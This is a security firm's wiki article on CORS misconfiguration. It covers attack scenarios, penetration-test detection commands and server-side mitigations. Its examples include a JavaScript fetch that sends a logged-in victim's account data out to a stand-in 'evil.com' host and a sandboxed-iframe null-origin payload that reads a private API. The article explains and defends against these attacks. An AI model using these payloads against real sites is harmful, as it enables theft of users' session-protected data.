Skip to content

Services, Wiki-Artikel und Blog-Beiträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen

CORS - Cross-Origin Resource Sharing Fehlkonfiguration

CORS misconfigurations with wildcard origins let attackers send cross-site requests with user credentials. How to detect and fix insecure CORS policies.

Table of Contents (4 sections)

Summary: CORS misconfigurations occur when web servers return Access-Control-Allow-Origin wildcards or unvalidated origins. Attackers can send cross-site requests with cookies from the victim’s browser and read sensitive API responses. This is particularly critical when Access-Control-Allow-Credentials is set to true. Mitigation: Validate a strict origin whitelist on the server side; do not combine wildcards with credentials.

CORS (Cross-Origin Resource Sharing) is a browser security mechanism that allows exceptions to the Same-Origin Policy for legitimate cross-origin requests. Misconfigurations in CORS headers allow attackers to send API requests to sensitive endpoints from the browser of a logged-in user and read the responses—an attack that the Same-Origin Policy is actually intended to prevent.

The Basic Principle of CORS

Same-Origin Policy (SOP): The browser does NOT allow JavaScript on site-a.com to read responses from site-b.com (requests can be sent—but the response is blocked).

CORS Exception (if the server agrees):

Access-Control-Allow-Origin: https://site-a.com

The browser then allows JavaScript to read the response.

Misconfigurations:

Access-Control-Allow-Origin: *            ← Wildcard
Access-Control-Allow-Origin: null         ← null Origin
Access-Control-Allow-Origin:   <geklont aus="" request="">← Echo

Problematic combination:

Access-Control-Allow-Credentials: true   ← Send cookies!
Access-Control-Allow-Origin: *           ← Browser BLOCKS this
Access-Control-Allow-Origin:       <echo>
← DANGEROUS!

Attack Scenarios

Scenario 1 - Origin Echo with Credentials

Vulnerable server code simply returns the request origin:

Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true

Attack from attacker's site (evil.com):

fetch(&#x27;https://api.bank.com/account/balance&#x27;, {
  credentials: &#x27;include&#x27;  // Sends session cookie!
})
.then(r =&gt; r.json())
.then(data =&gt; {
  // Attacker reads account balance!
  fetch(&#x27;https://evil.com/steal?data=&#x27; + JSON.stringify(data));
});

Process: Victim visits evil.com → Browser sends request to api.bank.com WITH session cookie → Server responds (CORS allows it due to Echo configuration!) → JavaScript reads sensitive data → Data is exfiltrated to evil.com.

Scenario 2 - Null Origin

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts" src="data:text/html,
  <script>
  fetch('https://api.target.com/private', { credentials: 'include' })
  .then(r => r.text())
  .then(d => parent.postMessage(d, '*'));
  </script>
"></iframe>

data: URLs have Origin: null - the server allows null, the iframe can read.

Scenario 3 - Subdomain Takeover + CORS

CORS whitelist: *.company.com - if staging.company.com is compromised via subdomain takeover, the attacker can send CORS-allowed requests to api.company.com from there.

Scenario 4 - Regex bypass in origin validation

Server regex: /^https://company\.com$/
Escaping error: /https://company.com/  (period not escaped)
→ companyXcom, company-evil.com also match!

Detection in the Penetration Test

1. Simple CORS check via curl

# Test: Send Origin and check response
curl -v -H &quot;Origin: https://evil.com&quot; \
     https://api.target.com/api/user

# Check response header:
# Access-Control-Allow-Origin: https://evil.com  ← ECHO! Check!
# Access-Control-Allow-Credentials: true         ← CRITICAL!

2. Systematic Origin Tests

# Test different origins:
curl -H &quot;Origin: https://evil-target.com&quot; https://target.com/api/
curl -H &quot;Origin: null&quot; https://target.com/api/
curl -H &quot;Origin: https://target.com.evil.com&quot; https://target.com/api/
curl -H &quot;Origin: https://evil.com&quot; https://target.com/api/

3. Burp Suite CORS Testing

  1. Set Origin header to evil.com
  2. Response: Check Access-Control-Allow-Origin?
  3. If allowed: Test with credentials
  4. Extend to private endpoints

4. Tool: corsy (Python)

# Automated CORS scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Checks for all known CORS misconfigurations

5. Check critical endpoints

  • /api/user, /api/profile (PII)
  • /api/payment, /api/account (Finance)
  • /api/admin (privileged operations)
  • /api/token, /api/auth (Authentication)

Severity Levels

SeverityConfiguration
CRITICALACAO: Echo + ACAC: true + sensitive endpoints
HIGHACAO: null + ACAC: true
MEDIUMACAO: * (without credentials - no session access)
INFOACAO: * on public API without sensitive data

Mitigation Measures

1. Strict Origin Whitelist (THE ONLY Correct Method)

// Node.js/Express:
const allowedOrigins = [
  &#x27;https://app.company.com&#x27;,
  &#x27;https://www.company.com&#x27;
];

app.use((req, res, next) =&gt; {
  const origin = req.headers.origin;
  // Always check against a static whitelist!
  if (allowedOrigins.includes(origin)) {
    res.setHeader(&#x27;Access-Control-Allow-Origin&#x27;, origin);
    res.setHeader(&#x27;Vary&#x27;, &#x27;Origin&#x27;);  // Prevent cache poisoning!
    res.setHeader(&#x27;Access-Control-Allow-Credentials&#x27;, &#x27;true&#x27;);
  }
  next();
});

// WRONG (Echo):
// res.setHeader(&#x27;ACAO&#x27;, req.headers.origin);  // NEVER!

2. CORS Configuration via Framework

# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
  &quot;https://app.company.com&quot;,
  &quot;https://www.company.com&quot;
]
# DO NOT USE: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {&quot;https://app.company.com&quot;},
             allowCredentials = &quot;true&quot;)
// Do not use @CrossOrigin(origins = &quot;*&quot;) with allowCredentials!
# Nginx - allows only these exact origins:
if ($http_origin = &quot;https://app.company.com&quot;) {
  add_header &#x27;Access-Control-Allow-Origin&#x27; $http_origin;
  add_header &#x27;Access-Control-Allow-Credentials&#x27; &#x27;true&#x27;;
}

3. ALWAYS set the Vary header when the origin is dynamic

Vary: Origin

Prevents proxy caches from caching incorrect CORS responses.

4. Handle preflight requests correctly

OPTIONS /api/data HTTP/1.1
→ Return only allowed methods/headers:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

5. Never combine credentials with wildcards

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browsers already block this—but never use Echo as a workaround!

6. Never allow null origins

if (origin === &#x27;null&#x27;) return;  // Reject null!
// data: URLs and sandboxed iframes send null

7. For internal APIs without browser access

Disable CORS (no Allow-Origin header) – CORS is only necessary for APIs consumed by browsers.

Questions about this topic?

Our experts advise you free of charge and without obligation.

Free Consultation

About the Author

Chris Wojzechowski
Chris Wojzechowski

Geschäftsführender Gesellschafter

E-Mail

Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.

10 Publikationen
  • Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
  • Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
  • IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
  • Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
  • Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
  • Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
  • Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
  • IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
  • Sicherheitsforum Online-Banking - Live Hacking (2021)
  • Nipster im Netz und das Ende der Kreidezeit (2017)
IT-Grundschutz-Praktiker (TÜV) IT Risk Manager (DGI) § 8a BSIG Prüfverfahrenskompetenz Ausbilderprüfung (IHK)
This article was last edited on 03/29/2026. Responsible: Chris Wojzechowski, Geschäftsführender Gesellschafter at AWARE7 GmbH. License: CC BY 4.0 - free use with attribution: "AWARE7 GmbH, https://a7.de"